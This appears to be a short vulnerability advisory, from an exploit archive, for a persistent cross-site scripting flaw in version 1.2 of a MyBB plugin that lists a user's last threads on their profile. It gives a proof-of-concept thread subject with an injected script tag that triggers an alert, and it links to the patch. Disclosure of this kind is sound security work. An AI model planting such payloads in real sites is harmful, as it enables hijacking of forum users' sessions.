MyBB Plugin Last Users Threads in Profile Plugin 1.2 Persistent Cross-Site Scripting

2018.03.28
Credit: 0xB9
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS # Date: 3/19/2018 # Author: 0xB9 # Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com # Software Link: https://community.mybb.com/mods.php?action=view&pid=910 # Version: v1.2 # Tested on: Ubuntu 17.10 1. Description: Display last threads in user profile. 2. Proof of Concept: Persistent XSS - Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>"> - Now visit your profile to see the alert. 3. Solution: Patch: https://github.com/vintagedaddyo/MyBB_Plugin_Last-User-s-Threads-in-Profile/commit/5e3b81450d0bf7935885db2622f1a42e5961258d


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